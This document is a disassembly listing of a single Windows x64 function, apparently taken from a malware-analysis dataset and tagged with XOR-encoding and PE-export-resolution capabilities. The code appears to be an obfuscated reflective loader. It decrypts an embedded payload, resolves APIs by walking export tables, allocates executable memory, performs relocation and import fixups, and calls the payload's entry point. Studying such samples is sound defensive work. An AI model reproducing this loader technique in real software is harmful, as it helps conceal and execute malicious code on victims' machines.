Function at 0x1800010c0
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
cmp dword [0x180020a6c], 0xa
mov ebx, dword [0x180020a70]
mov ecx, dword [0x180020a74]
jl 0x1800010ff
mov eax, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800011f4
mov eax, 0x10
call entry0
sub rsp, rax
mov rdi, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov r9, rsp
cmp ecx, 0xa
jl 0x180001133
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
jne 0x1800012a0
mov al, byte [section..data]
mov byte [rdi], al
cmp dword [0x180020a74], 0xa
jl 0x180001159
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001290
mov al, byte [0x180004001]
mov byte [rdi + 1], al
cmp dword [0x180020a74], 0xa
jl 0x180001180
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001290
mov al, byte [0x180004002]
mov byte [rdi + 2], al
cmp dword [0x180020a74], 0xa
jl 0x1800011a7
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001290
mov al, byte [0x180004003]
mov byte [rdi + 3], al
mov ebx, dword [0x180020a70]
mov ecx, dword [0x180020a74]
lea edx, [rbx - 1]
imul edx, ebx
and edx, 1
cmp ecx, 0xa
jl 0x1800011d2
test edx, edx
jne 0x180001290
cmp dword [0x180020a6c], 0xa
jl 0x1800012b2
mov eax, dword [0x180020a78]
lea esi, [rax - 1]
imul esi, eax
and esi, 1
je 0x1800012b2
cmp ecx, 0xa
jl 0x180001208
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
jne 0x1800012b0
cmp dword [0x180020a74], 0xa
jl 0x180001222
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001280
cmp dword [0x180020a74], 0xa
jl 0x18000123c
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001280
cmp dword [0x180020a74], 0xa
jl 0x180001256
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001280
mov ebx, dword [0x180020a70]
mov ecx, dword [0x180020a74]
cmp ecx, 0xa
jl 0x1800010ff
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
je 0x1800010ff
nop word [rax + rax]
jmp 0x180001280
jmp 0x180001290
jmp 0x1800012a0
jmp 0x1800012b0
mov r12d, dword [rdi]
test r12, r12
je 0x1800013e7
xor esi, esi
cmp r12d, 0x10
jb 0x1800013b3
lea rax, [r12 - 1]
cmp rax, 0x400
jae 0x1800013b3
mov esi, r12d
and esi, 0xfffffff0
lea rdi, [rsi - 0x10]
mov rax, rdi
shr rax, 4
add rax, 1
mov r8d, eax
and r8d, 1
test rdi, rdi
je 0x180001379
mov rbx, r8
sub rbx, rax
xor eax, eax
lea r10, section..data
movaps xmm0, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
nop word cs:[rax + rax]
nop dword [rax]
mov edi, eax
and edi, 0x3e0
movups xmm1, xmmword [rdi + r10 + 4]
movups xmm2, xmmword [rax + r10 + 0x404]
xorps xmm2, xmm1
movups xmm1, xmmword [rax + r10 + 0x414]
xorps xmm2, xmm0
movups xmmword [rax + r10 + 0x404], xmm2
lea edi, [rax + 0x10]
and edi, 0x3f0
movups xmm2, xmmword [rdi + r10 + 4]
xorps xmm1, xmm0
xorps xmm1, xmm2
movups xmmword [rax + r10 + 0x414], xmm1
add rax, 0x20
add rbx, 2
jne 0x180001320
jmp 0x18000137b
xor eax, eax
test r8, r8
je 0x1800013ae
mov edi, eax
and edi, 0x3f0
lea rbx, section..data
movups xmm0, xmmword [rdi + rbx + 4]
movups xmm1, xmmword [rax + rbx + 0x404]
xorps xmm1, xmm0
xorps xmm1, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
movups xmmword [rax + rbx + 0x404], xmm1
cmp rsi, r12
je 0x1800013e7
lea rax, section..data
nop word [rax + rax]
mov ebx, esi
and ebx, 0x3ff
movzx ebx, byte [rbx + rax + 4]
xor bl, byte [rsi + rax + 0x404]
xor bl, 0xc
mov byte [rsi + rax + 0x404], bl
add rsi, 1
cmp rsi, r12
jb 0x1800013c0
cmp ecx, 0xa
jl 0x1800013f2
test edx, edx
je 0x1800013f2
jmp 0x1800013f0
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180020a74], 0xa
setl cl
or cl, al
mov eax, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020a6c], 0xa
setl bl
or bl, al
lea r15, section..data
lea rdx, [r12 + r15]
add rdx, 0x404
movzx eax, byte [r12 + r15 + 0x404]
mov byte [r9], al
test cl, cl
je 0x1800014c0
movzx eax, byte [rdx + 1]
mov byte [r9 + 1], al
je 0x1800014c0
movzx eax, byte [rdx + 2]
mov byte [r9 + 2], al
test cl, cl
je 0x1800014c0
movzx eax, byte [rdx + 3]
mov byte [r9 + 3], al
je 0x1800014c0
test bl, bl
jne 0x1800014e2
test cl, cl
je 0x1800014e0
movzx eax, byte [r12 + r15 + 0x404]
mov byte [r9], al
je 0x1800014d0
movzx eax, byte [r12 + r15 + 0x405]
mov byte [r9 + 1], al
test cl, cl
je 0x1800014d0
movzx eax, byte [r12 + r15 + 0x406]
mov byte [r9 + 2], al
je 0x1800014d0
movzx eax, byte [r12 + r15 + 0x407]
mov byte [r9 + 3], al
test cl, cl
je 0x1800014d0
jne 0x180001440
jmp 0x1800013f0
jmp 0x1800014c0
jmp 0x1800014d0
jmp 0x1800014e0
lea rcx, [rdx + 4]
mov r9d, dword [r9]
test r9, r9
je 0x18000162d
xor edi, edi
cmp r9d, 0x20
jb 0x180001609
lea rbx, [r9 - 1]
cmp rbx, 0x400
jae 0x180001609
lea rax, [r9 + r15]
add rax, 4
cmp rcx, rax
jae 0x180001537
lea rax, [rdx + r9]
add rax, 4
lea rdx, str.ljrgjwqwLvcYGPJuEnfDAnKzmVjanmsCzFldHjkLYgtZmKFiLfwQRUlUOMlfuipmQTUFrEhmYaoDsTjKEmqsZTERzWfdBEvMjDwjjYnRVKVTKWHygxGPAjptsxAUHfFYZDZuRCzrsczPgsFsOfRuJpLhivKvYjGphspleZFFVvsBIfwmUMWKuAblkEdJWHBkAzisbOjaEwuBHXSfoBafqCjMKsZdhOlErnymrQfvRrdABeXTlROHozctuPzgxhVXublFAtHMEvvYzfEbwcxJPrnLVbjltshLVqVxJjtvKLDEWwzbEqutHYQbRuKAIORXzqJCkpISCVnxVzkvrrAEPHzwLURsnlGeMQmvfJOatklRLzeiLaPaTdzIgerxPufjnnsQHLlqvCsmvdSRrsQbLMlXyLIlfUGnBotrqgWRTBDZFPAwFBjRXGbZIjOroIstBbOnMCdxtrViMDWCArItoCzDEzKnAESFIXaKqbjnBQYfXkOOXKcvJneXDRgKqXWcqBkcexIMTvUvYueILLKutSEVTylkQTMOpVBSrHKZVqXYTOiSkhEeIrgMlupYtuSWUtLbCSPZDMYvqplxEOOzIEEpQHKACydgRugKtfqTpgsGoRJFEGqviWpsLauhhVAzpbFrlVwjxyeprJyyuvxUfbpQgPWWEVLlXxJdIGIdqBMTQyikfSxKKvcyzbSIDFzzReusyCrFiDyAMOMAPshZrFoPssUWZxYZbtuWjqEYLfYKtADexCYcFWdeGdOeuTfVzyULXxYPiKcIFalHefvaQfppLErLEgLaLIIbjvMLFidwEAjWEUemvOmsaBbnCsXzESEQXbEyhqaLIfnItshtIYxjnCqPYHnhyFitfzymOnTfTpdGnHpsXepOOaOPMXtLiGrMgwJkbfPqYzAgcdtqsWbckvBTYeYBumPMLrVHpJXysxXVWYpKllHBMUtAvOYSXXiwqFbnayFUlUvpgxBlcaeJcldvGiGaXRKhbAtrZbGGWqUHpjfsdOaegQycPmB
cmp rax, rdx
jbe 0x180001537
xor edi, edi
jmp 0x180001609
mov edi, r9d
and edi, 0xffffffe0
lea rbx, [rdi - 0x20]
mov rdx, rbx
shr rdx, 5
add rdx, 1
mov r8d, edx
and r8d, 1
test rbx, rbx
je 0x1800015d1
lea rax, [r12 + r15]
add rax, 0x438
mov rbx, r8
sub rbx, rdx
xor esi, esi
mov edx, esi
and edx, 0x3c0
movups xmm0, xmmword [rdx + r15 + 4]
movups xmm1, xmmword [rdx + r15 + 0x14]
movups xmm2, xmmword [rax + rsi - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rax + rsi - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rax + rsi - 0x10]
movups xmm3, xmmword [rax + rsi]
movups xmmword [rax + rsi - 0x30], xmm2
movups xmmword [rax + rsi - 0x20], xmm0
lea edx, [rsi + 0x20]
and edx, 0x3e0
movups xmm0, xmmword [rdx + r15 + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rdx + r15 + 0x14]
xorps xmm1, xmm3
movups xmmword [rax + rsi - 0x10], xmm0
movups xmmword [rax + rsi], xmm1
add rsi, 0x40
add rbx, 2
jne 0x18000156a
jmp 0x1800015d3
xor esi, esi
test r8, r8
je 0x180001604
mov edx, esi
and edx, 0x3e0
movups xmm0, xmmword [rdx + r15 + 4]
movups xmm1, xmmword [rdx + r15 + 0x14]
movups xmm2, xmmword [rcx + rsi]
xorps xmm2, xmm0
movups xmm0, xmmword [rcx + rsi + 0x10]
xorps xmm0, xmm1
movups xmmword [rcx + rsi], xmm2
movups xmmword [rcx + rsi + 0x10], xmm0
cmp rdi, r9
je 0x18000162d
lea rdx, [r12 + r15]
add rdx, 0x408
mov eax, edi
and eax, 0x3ff
movzx eax, byte [rax + r15 + 4]
xor byte [rdx + rdi], al
add rdi, 1
cmp rdi, r9
jb 0x180001614
cmp dword [0x180020a7c], 0xa
jl 0x180001652
mov eax, dword [0x180020a80]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180001652
nop word [rax + rax]
jmp 0x180001650
movsxd rax, dword [0x180004440]
cmp byte [rcx], 0
lea rcx, [rcx + 1]
jne 0x180001659
lea rsi, [rax + r15]
add rsi, 0x404
mov rax, rcx
cmp byte [rax], 0
lea rax, [rax + 1]
jne 0x180001670
mov rbx, rax
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x18000167c
mov r13, rbx
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001688
mov r14, r13
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001696
mov qword [rbp - 0x28], rax
mov rdi, r14
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x1800016a7
sub rsp, 0x20
mov qword [rbp - 8], rcx
call fcn.180001f50
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x1800016e2
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800016e2
nop
jmp 0x1800016e0
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001712
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180001712
nop dword [rax]
jmp 0x180001710
mov qword [rbp - 0x20], rbx
mov qword [rbp], rsi
add r8, r9
mov esi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rsi, r9
add r10, r9
mov r11, qword [rbp - 0x28]
mov edx, dword [rsi]
add rdx, r9
mov rcx, r11
nop dword [rax]
movzx eax, byte [rcx]
movzx ebx, byte [rdx]
test al, al
je 0x180001756
add rcx, 1
add rdx, 1
cmp al, bl
je 0x180001740
cmp al, bl
je 0x180001764
add r10, 2
add rsi, 4
jmp 0x180001731
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r14
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x1800017a2
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800017a2
nop word [rax + rax]
jmp 0x1800017a0
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800017d2
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x1800017d2
nop dword [rax]
jmp 0x1800017d0
add r8, r10
mov esi, dword [r10 + rax + 0x20]
mov r9d, dword [r10 + rax + 0x24]
add rsi, r10
add r9, r10
mov eax, dword [rsi]
add rax, r10
mov rbx, r13
movzx ecx, byte [rbx]
movzx edx, byte [rax]
test cl, cl
je 0x180001803
add rbx, 1
add rax, 1
cmp cl, dl
je 0x1800017ed
cmp cl, dl
je 0x180001811
add r9, 2
add rsi, 4
jmp 0x1800017e5
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call r10
add rsp, 0x10
mov rcx, qword [rbp - 8]
call fcn.180001f50
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001882
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001882
nop word cs:[rax + rax]
nop dword [rax + rax]
jmp 0x180001880
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800018af
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x1800018af
jmp 0x1800018ad
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov r9d, dword [r10 + rcx + 0x24]
add rdx, r10
add r9, r10
lea rdi, [r12 + r15]
add rdi, 0x408
mov eax, dword [rdx]
add rax, r10
xor esi, esi
movzx ebx, byte [rdi + rsi]
movzx ecx, byte [rax + rsi]
test bl, bl
je 0x1800018e8
add rsi, 1
cmp bl, cl
je 0x1800018d4
cmp bl, cl
je 0x1800018f6
add r9, 2
add rdx, 4
jmp 0x1800018cd
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp]
mov edx, dword [rax + 0x50]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
mov r14, rax
mov eax, dword [0x180020a78]
mov ecx, dword [0x180020a6c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180001944
test edx, edx
je 0x180001944
jmp 0x180001942
cmp ecx, 0xa
jl 0x18000194f
test edx, edx
je 0x18000194f
jmp 0x18000194d
mov rdx, qword [rbp]
lea r8, [rdx + 0x108]
xor r9d, r9d
mov rdx, qword [rbp]
movzx edx, word [rdx + 6]
cmp r9, rdx
jae 0x180001a19
cmp dword [0x180020a74], 0xa
jl 0x18000198c
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001a15
lea rdx, [r9 + r9*4]
mov eax, dword [r8 + rdx*8 + 0xc]
mov ecx, dword [r8 + rdx*8 + 0x10]
mov edx, dword [r8 + rdx*8 + 0x14]
add rax, r14
lea rdi, [rdx + r15]
add rdi, 0x404
xor edx, edx
cmp rcx, rdx
je 0x1800019db
movzx ebx, byte [rdi + rdx]
mov byte [rax + rdx], bl
add rdx, 1
cmp dword [0x180020a74], 0xa
jl 0x1800019af
mov ebx, dword [0x180020a70]
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
je 0x1800019af
jmp 0x180001a13
mov eax, dword [0x180020a78]
mov ecx, dword [0x180020a6c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x1800019f9
test edx, edx
jne 0x180001a17
add r9, 1
cmp ecx, 0xa
jl 0x18000195d
test edx, edx
je 0x18000195d
jmp 0x18000194d
jmp 0x180001a13
jmp 0x180001a15
jmp 0x180001a17
mov rdx, qword [rbp]
mov rbx, qword [rdx + 0x30]
mov r11, r14
sub r11, rbx
cmp ecx, 0xa
jl 0x180001a39
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
je 0x180001a39
jmp 0x180001a37
mov rdx, qword [rbp]
mov ebx, dword [rdx + 0xb0]
add rbx, r14
movabs r8, 0x1fffffff8
cmp dword [rbx], 0
je 0x180001b74
mov edi, dword [rbx + 4]
cmp rdi, 8
jb 0x180001b3e
cmp ecx, 0xa
jl 0x180001a7a
lea esi, [rax - 1]
imul esi, eax
and esi, 1
jne 0x180001b6c
add rdi, r8
shr rdi, 1
mov r9d, edi
xor r10d, r10d
cmp r10, r9
je 0x180001b3e
movzx edi, word [rbx + r10*2 + 8]
mov esi, edi
shr esi, 0xc
mov edx, edi
and edx, 0xfff
cmp edi, 0xa000
jae 0x180001ac7
cmp esi, 3
jne 0x180001b15
mov eax, dword [rbx]
lea rax, [r14 + rax*4]
add dword [rax + rdx*4], r11d
mov eax, dword [0x180020a78]
mov ecx, dword [0x180020a6c]
jmp 0x180001b15
cmp esi, 0xa
jne 0x180001b15
cmp ecx, 0xa
jl 0x180001ae0
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001b70
mov eax, dword [rbx]
mov edi, edx
add rdi, r14
add qword [rax + rdi], r11
mov eax, dword [0x180020a78]
mov ecx, dword [0x180020a6c]
cmp ecx, 0xa
jl 0x180001b15
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180001b15
mov eax, dword [rbx]
add qword [rdi + rax], r11
mov eax, dword [rbx]
add qword [rdi + rax], r11
jmp 0x180001aeb
lea edi, [rax - 1]
imul edi, eax
and edi, 1
cmp ecx, 0xa
jl 0x180001b27
test edi, edi
jne 0x180001b6e
add r10, 1
cmp ecx, 0xa
jl 0x180001a86
test edi, edi
je 0x180001a86
jmp 0x180001b6c
lea edi, [rax - 1]
imul edi, eax
and edi, 1
cmp ecx, 0xa
jl 0x180001b50
test edi, edi
jne 0x180001b72
mov edx, dword [rbx + 4]
add rbx, rdx
cmp ecx, 0xa
jl 0x180001a50
test edi, edi
je 0x180001a50
jmp 0x180001a37
jmp 0x180001b6c
jmp 0x180001b6e
jmp 0x180001b70
jmp 0x180001b72
cmp ecx, 0xa
jl 0x180001b86
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001b86
jmp 0x180001b84
lea rax, [r14 + 2]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp]
mov eax, dword [rax + 0x90]
add rax, r14
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov r15d, dword [rax + 0xc]
test r15, r15
je 0x180001ec8
sub rsp, 0x20
mov rcx, qword [rbp - 8]
call fcn.180001f50
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001be2
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001ec2
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001c11
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001ec4
add r15, r14
add r8, r9
mov esi, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rsi, r9
add rcx, r9
mov edi, dword [rsi]
add rdi, r9
mov rax, qword [rbp - 0x28]
movzx ebx, byte [rax]
movzx edx, byte [rdi]
test bl, bl
je 0x180001c46
add rax, 1
add rdi, 1
cmp bl, dl
je 0x180001c30
cmp bl, dl
je 0x180001c54
add rcx, 2
add rsi, 4
jmp 0x180001c27
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r15
call r9
add rsp, 0x20
mov qword [rbp - 0x18], rax
mov eax, dword [0x180020a78]
mov ecx, dword [0x180020a6c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180001c92
test edx, edx
jne 0x180001ec6
cmp ecx, 0xa
jl 0x180001c9f
test edx, edx
jne 0x180001ec0
mov rdx, qword [rbp - 0x10]
mov r13d, dword [rdx]
mov r15d, dword [rdx + 0x10]
add r15, r14
add r13, r14
mov rdx, qword [r13]
test rdx, rdx
je 0x180001e96
mov rax, qword [rbp - 0x30]
add rax, rdx
test rdx, rdx
movzx r12d, dx
cmovns r12, rax
jmp 0x180001cf0
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, qword [rbp - 0x18]
mov rdx, r12
call r9
add rsp, 0x20
mov qword [r15], rax
sub rsp, 0x20
mov rcx, qword [rbp - 8]
call fcn.180001f50
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001d22
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001eb8
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001d51
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001eba
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdx, r9
add rcx, r9
mov edi, dword [rdx]
add rdi, r9
mov rsi, qword [rbp - 0x20]
movzx eax, byte [rsi]
movzx ebx, byte [rdi]
test al, al
je 0x180001d83
add rsi, 1
add rdi, 1
cmp al, bl
je 0x180001d6d
cmp al, bl
je 0x180001d91
add rcx, 2
add rdx, 4
jmp 0x180001d64
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, qword [rbp - 0x18]
mov rdx, r12
call r9
add rsp, 0x20
mov qword [r15], rax
mov eax, dword [0x180020a78]
mov ecx, dword [0x180020a6c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180001e7b
test edx, edx
je 0x180001e7b
sub rsp, 0x20
mov rcx, qword [rbp - 8]
call fcn.180001f50
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001e08
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001ebc
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001e37
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001ebe
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdx, r9
add rcx, r9
mov edi, dword [rdx]
add rdi, r9
mov rsi, qword [rbp - 0x20]
movzx eax, byte [rsi]
movzx ebx, byte [rdi]
test al, al
je 0x180001e69
add rsi, 1
add rdi, 1
cmp al, bl
je 0x180001e53
cmp al, bl
je 0x180001cd1
add rcx, 2
add rdx, 4
jmp 0x180001e4a
add r13, 8
add r15, 8
cmp ecx, 0xa
jl 0x180001cb0
test edx, edx
je 0x180001cb0
jmp 0x180001ec0
add qword [rbp - 0x10], 0x14
cmp ecx, 0xa
jl 0x180001b9f
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001b9f
jmp 0x180001b84
jmp 0x180001eb8
jmp 0x180001eba
jmp 0x180001ebc
jmp 0x180001ebe
jmp 0x180001ec0
jmp 0x180001ec2
jmp 0x180001ec4
jmp 0x180001ec6
mov rax, qword [rbp]
mov eax, dword [rax + 0x28]
add rax, r14
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x180001f34
mov eax, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001f34
mov rsi, qword [rbp]
mov eax, dword [rsi + 0x28]
add rax, r14
sub rsp, 0x20
call rax
add rsp, 0x20
mov eax, dword [rsi + 0x28]
add rax, r14
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x180001f34
mov eax, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001efa
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret